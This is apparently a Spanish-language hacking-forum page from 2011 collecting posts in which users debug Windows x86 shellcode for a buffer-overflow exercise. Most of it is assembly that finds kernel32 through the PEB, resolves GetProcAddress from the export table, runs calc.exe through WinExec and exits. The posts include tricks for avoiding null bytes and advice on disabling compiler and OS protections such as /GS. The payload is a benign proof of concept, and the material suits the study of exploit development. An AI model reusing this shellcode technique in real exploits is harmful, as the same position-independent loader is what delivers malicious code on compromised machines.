Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: Anon en 3 Abril 2011, 15:17 PMlo he leído y desactivado la opción /GS (buffer security check) en el compilador visual c++. Pero al hacer el overflow sigue saliendome un cuadro con un mensaje de error:
favor de leer:
http://wikipedia.org/wiki/Buffer_overflow_protection
Saludos
push ebp
mov ebp, esp
xor ecx,ecx
xor dl, dl
sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-08h], 57h ; 'W'
mov byte ptr [ebp-07h], 69h ; 'i'
mov byte ptr [ebp-06h], 6eh ; 'n'
mov byte ptr [ebp-05h], 45h ; 'E'
mov byte ptr [ebp-04h], 78h ; 'x'
mov byte ptr [ebp-03h], 65h ; 'e'
mov byte ptr [ebp-02h], 63h ; 'c'
mov byte ptr [ebp-01h], dl ; 0x00
lea ecx, dword ptr [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
mov ebx,eax ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
push ecx
push esi ;dirección base de kernel32
call eax ; llamamos a getprocadress
add esp, 08h
pop ebp
mov esi, [esp]
push ebp
mov ebp, esp
xor ecx,ecx
xor dl, dl
sub esp, 07h ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-07h], 57h ; 'W'
mov byte ptr [ebp-06h], 69h ; 'i'
mov byte ptr [ebp-05h], 6eh ; 'n'
mov byte ptr [ebp-04h], 45h ; 'E'
mov byte ptr [ebp-03h], 78h ; 'x'
mov byte ptr [ebp-02h], 65h ; 'e'
mov byte ptr [ebp-01h], 63h ; 'c'
mov byte ptr [ebp-00h], dl ; 0x00
lea ecx, dword ptr [ebp-07h]
mov ebx,eax
push ecx
push esi ;dirección base de kernel32
call eax ; llamamos a getprocadress
add esp, 07h
pop ebp
Cita de: Иōҳ en 30 Marzo 2011, 01:05 AM
bien bien pero parece que no resolvimos ese problema de tu code el del principio mira yo use este code para loadlibrary, y me funciona perfectamente checa como le reservo la pila... si solo cambias los caracteres debe funcionar
;00402044 4C 6F 61 64 4C 69 62 72 LoadLibr
;0040204C 61 72 79 41 00 aryA.
mov ebp,esp; ebp puntero al stack
sub esp, 0Dh; reservamos espacio
xor ecx,ecx
mov byte ptr [ebp - 0Dh], 4Ch
mov byte ptr [ebp - 0Ch], 6Fh
mov byte ptr [ebp - 0Bh], 61h
mov byte ptr [ebp - 0Ah], 64h
mov byte ptr [ebp - 09h], 4Ch
mov byte ptr [ebp - 08h], 69h
mov byte ptr [ebp - 07h], 62h
mov byte ptr [ebp - 06h], 72h
mov byte ptr [ebp - 05h], 61h
mov byte ptr [ebp - 04h], 72h
mov byte ptr [ebp - 03h], 79h
mov byte ptr [ebp - 02h], 41h
mov byte ptr [ebp - 01h], cl
lea ecx, dword ptr [ebp - 0Dh]
push ecx
push edx; BaseKernel
call ebx; GPA
add esp, 0Dh; Balanceamos la pila
pd: la pila se balancea para poder evitar errores, puede que haya un tipo de seguridad que mire la pila, y si a la hora de volver por ejemplo al programa la pila no esta como antes crash! y aunque no te de ese problema cuando lo haces una aplicacion autonoma, es por buena costumbre que lo harias .
Salu2!
.386
.model flat, stdcall ;32 bit memory model
option casemap :none ;case sensitive
assume fs:nothing
.code
start:
; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
xor ebx, ebx ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
mov ebx, fs:[ebx+30h]
mov ebx, [ebx+0Ch]
mov ebx, [ebx+1Ch]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx+08h]
mov eax, ebx
push eax ; guardamos en la pila la direccion base de kernel32.dll
; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
mov esi, [esp] ; puntero a la direccion base
add esi, [esi+03Ch] ; puntero a PE signature
mov edx, [esi+078h] ; puntero a la Export table
add edx, [esp] ; sumamos la direccion base
mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
add ecx, 1fh
inc ecx
mov ebx, [ecx] ; puntero al array AddressOfNames
add ebx, [esp]
xor eax, eax ; indice de AddressOfNames
bucle_funcion: ; buscamos la funcion a partir de la direccion base
mov edi, [ebx]
add edi, [esp]
; como ya no usamos el segmento .data, comparamos directamente el nombre de
; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
; tenemos que separar en un dword, un word y un byte, para que no nos coja
; ningun caracter nulo
cmp dword ptr [edi], 50746547h
jnz funcion_no_encontrada
cmp dword ptr [edi + 4], 41636f72h
jnz funcion_no_encontrada
cmp dword ptr [edi + 8], 65726464h
jnz funcion_no_encontrada
cmp word ptr [edi + 12], 7373h
je funcion_encontrada
funcion_no_encontrada:
nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
add ebx, 4
inc eax
cmp eax, dword ptr [edx+18h]
jnz bucle_funcion
funcion_encontrada:
mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
add esi, [esp] ; añadimos la direccion base
xor ecx, ecx
mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
add edi, [esp] ; añadimos la direccion base
mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************
mov esi, [esp];************************************************************obtener dirección de winexec**********************************
xor dl, dl
sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-08h], 57h ; 'W'
mov byte ptr [ebp-07h], 69h ; 'i'
mov byte ptr [ebp-06h], 6eh ; 'n'
mov byte ptr [ebp-05h], 45h ; 'E'
mov byte ptr [ebp-04h], 78h ; 'x'
mov byte ptr [ebp-03h], 65h ; 'e'
mov byte ptr [ebp-02h], 63h ; 'c'
mov byte ptr [ebp-01h], dl ; 0x00
lea ecx, [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
push ecx
push esi ;dirección base de kernel32
mov ebx,eax
call eax ; llamamos a getprocadress
xor dl, dl;******************************************************************ejecutar winexec(calc.exe)*********************************
sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-09h], 63h ; 'c'
mov byte ptr [ebp-08h], 61h ; 'a'
mov byte ptr [ebp-07h], 6Ch ; 'l'
mov byte ptr [ebp-06h], 63h ; 'c'
mov byte ptr [ebp-05h], 2Eh ; '.'
mov byte ptr [ebp-04h], 65h ; 'e'
mov byte ptr [ebp-03h], 78h ; 'x'
mov byte ptr [ebp-02h], 65h ; 'e'
mov byte ptr [ebp-01h], dl ; 0x00
lea ecx, [ebp-09h] ; cargamos la direccion que apunta a nuestra cadena
push 5 ;parametro de winexec (show)
push ecx
call eax ;llamamos a winexec
xor dl, dl;******************************************************************salir del programa con exitprocess*************************
sub esp, 20h ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-12h], 45h ; 'E'
mov byte ptr [ebp-11h], 78h ; 'x'
mov byte ptr [ebp-10h], 69h ; 'i'
mov byte ptr [ebp-0fh], 74h ; 't'
mov byte ptr [ebp-0eh], 50h ; 'P'
mov byte ptr [ebp-0dh], 72h ; 'r'
mov byte ptr [ebp-0ch], 6fh ; 'o'
mov byte ptr [ebp-0bh], 63h ; 'c'
mov byte ptr [ebp-0ah], 65h ; 'e'
mov byte ptr [ebp-09h], 73h ; 's'
mov byte ptr [ebp-08h], 73h ; 's'
mov byte ptr [ebp-07h], dl ; '0'
lea ecx, [ebp-12h] ; cargamos la direccion que apunta a nuestra cadena
push ecx
push esi ;dirección base de kernel32
call ebx ; llamamos a getprocadress
;obtenemos direccion de exitprocess
xor ecx, ecx
push ecx
call eax ;llamamos a exitprocess
end start
;ml -c -coff -Cp c:\shellcodes\shellcode.asm
;link /SUBSYSTEM:WINDOWS shellcode.obj
.386
.model flat, stdcall ;32 bit memory model
option casemap :none ;case sensitive
assume fs:nothing
.code
start:
; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
xor ebx, ebx ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
mov ebx, fs:[ebx+30h]
mov ebx, [ebx+0Ch]
mov ebx, [ebx+1Ch]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx+08h]
mov eax, ebx
push eax ; guardamos en la pila la direccion base de kernel32.dll
; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
mov esi, [esp] ; puntero a la direccion base
add esi, [esi+03Ch] ; puntero a PE signature
mov edx, [esi+078h] ; puntero a la Export table
add edx, [esp] ; sumamos la direccion base
mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
add ecx, 1fh
inc ecx
mov ebx, [ecx] ; puntero al array AddressOfNames
add ebx, [esp]
xor eax, eax ; indice de AddressOfNames
bucle_funcion: ; buscamos la funcion a partir de la direccion base
mov edi, [ebx]
add edi, [esp]
; como ya no usamos el segmento .data, comparamos directamente el nombre de
; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
; tenemos que separar en un dword, un word y un byte, para que no nos coja
; ningun caracter nulo
cmp dword ptr [edi], 50746547h
jnz funcion_no_encontrada
cmp dword ptr [edi + 4], 41636f72h
jnz funcion_no_encontrada
cmp dword ptr [edi + 8], 65726464h
jnz funcion_no_encontrada
cmp word ptr [edi + 12], 7373h
je funcion_encontrada
funcion_no_encontrada:
nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
add ebx, 4
inc eax
cmp eax, dword ptr [edx+18h]
jnz bucle_funcion
funcion_encontrada:
mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
add esi, [esp] ; añadimos la direccion base
xor ecx, ecx
mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
add edi, [esp] ; añadimos la direccion base
mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************
mov esi, [esp];************************************************************obtener dirección de winexec**********************************
push ebp
mov ebp, esp
xor ecx,ecx
xor dl, dl
sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-08h], 57h ; 'W'
mov byte ptr [ebp-07h], 69h ; 'i'
mov byte ptr [ebp-06h], 6eh ; 'n'
mov byte ptr [ebp-05h], 45h ; 'E'
mov byte ptr [ebp-04h], 78h ; 'x'
mov byte ptr [ebp-03h], 65h ; 'e'
mov byte ptr [ebp-02h], 63h ; 'c'
mov byte ptr [ebp-01h], dl ; 0x00
lea ecx, dword ptr [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
mov ebx,eax ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
push ecx
push esi ;dirección base de kernel32
call eax ; llamamos a getprocadress
add esp, 08h
pop ebp
push ebp;******************************************************************ejecutar winexec(calc.exe)*********************************
mov ebp, esp
xor ecx,ecx
xor dl, dl
sub esp, 09h ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-09h], 63h ; 'c'
mov byte ptr [ebp-08h], 61h ; 'a'
mov byte ptr [ebp-07h], 6Ch ; 'l'
mov byte ptr [ebp-06h], 63h ; 'c'
mov byte ptr [ebp-05h], 2Eh ; '.'
mov byte ptr [ebp-04h], 65h ; 'e'
mov byte ptr [ebp-03h], 78h ; 'x'
mov byte ptr [ebp-02h], 65h ; 'e'
mov byte ptr [ebp-01h], dl ; 0x00
lea ecx, dword ptr [ebp-09h] ; cargamos la direccion que apunta a nuestra cadena
push 5 ;parametro de winexec (show)
push ecx
call eax ;llamamos a winexec
add esp, 09h
pop ebp
push ebp;******************************************************************salir del programa con exitprocess*************************
mov ebp, esp
xor ecx,ecx
xor dl, dl
sub esp, 0ch ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-0ch], 45h ; 'E'
mov byte ptr [ebp-0bh], 78h ; 'x'
mov byte ptr [ebp-0ah], 69h ; 'i'
mov byte ptr [ebp-09h], 74h ; 't'
mov byte ptr [ebp-08h], 50h ; 'P'
mov byte ptr [ebp-07h], 72h ; 'r'
mov byte ptr [ebp-06h], 6fh ; 'o'
mov byte ptr [ebp-05h], 63h ; 'c'
mov byte ptr [ebp-04h], 65h ; 'e'
mov byte ptr [ebp-03h], 73h ; 's'
mov byte ptr [ebp-02h], 73h ; 's'
mov byte ptr [ebp-01h], dl ; '0'
lea ecx, dword ptr [ebp-0ch] ; cargamos la direccion que apunta a nuestra cadena
push ecx
push esi ;dirección base de kernel32
call ebx ; llamamos a getprocadress
;obtenemos direccion de exitprocess
xor ecx, ecx
push ecx
call eax ;llamamos a exitprocess
add esp, 0ch
pop ebp
end start
;ml -c -coff -Cp c:\shellcodes\shellcode_pila_balanceada.asm
;link /SUBSYSTEM:WINDOWS shellcode_pila_balanceada.obj
Cita de: Sagrini en 2 Abril 2011, 20:56 PM
Os habéis ido del tema, no lo habéis entendido...
xor eax, eax
push eax
push byte 0x63; 'c'
push byte 0x65; 'e'
push byte 0x78; 'x'
push byte 0x45; 'E'
push byte 0x6e; 'n'
push byte 0x69; 'i'
push byte 0x57; 'W'
mov eax, esp
Al introducir "push eax" lo que hacemos es meter el byte nulo, lo que es equivalente a poner "string BLAHBLAH, 0", que es lo que queréis.
Si no lo entendéis, PM.
Un saludo. Sagrini
PS1: He puesto lo de byte para que no haya nulos entre medias, por si acaso...
PS2: Aparte, los pongo uno a uno porque son 7 bytes. Se podrían poner divididos en un WORD y tres bytes, pero no tengo ganas ...
Cita de: Anon en 3 Abril 2011, 05:48 AMdesactivar protecciones?? ¿te refieres al antivirus? ¿cómo se desactivan tales protecciones en windows7?. ¿no es una excepción del sistema operativo?
si desactivas todas laprotecciones, el shellcode se ejecutara y la aplicacion original terminara de forma inesperada.
Saludos
Cita de: Иōҳ en 29 Marzo 2011, 17:54 PM
disculpa por no entenderte,pero creo que debistes resaltar la cadena a pasar en primera instancia.. en ascii o talvez fue un despiste mio de no prestar atencion a tu cadena en hex sea cual sea, esto me funciono, chequelo.00401000 > 33DB XOR EBX, EBX
00401002 53 PUSH EBX
00401003 68 45786563 PUSH 63657845
00401008 C74424 FD 57696E45 MOV DWORD PTR SS:[ESP-3], 456E6957
00401010 8D5C24 FD LEA EBX, DWORD PTR SS:[ESP-3]
pd: Me esta pareciendo interesante codear una shellcode eh! jeje (como nunca lo he hecho X)
pd2: el code creo que esta un poco ortodoxo, fijate si necesitas reservar espacio en la pila.. ya que estoy moviendo valores directamente, se puede mejorar, pero ya tienes la idea .
Salu2!
xor ecx,ecx ;necesitamos mandar el nulo (en este caso mandamos 4 ya que mandamos el ecx entero)
push ecx
push 6578652Eh ;caracteres de calc.exe
push 636C6163h
mov ecx,esp
push 00737365h ;caracteres de exitprocess
push 636f7250h
push 74697845h
mov ecx,esp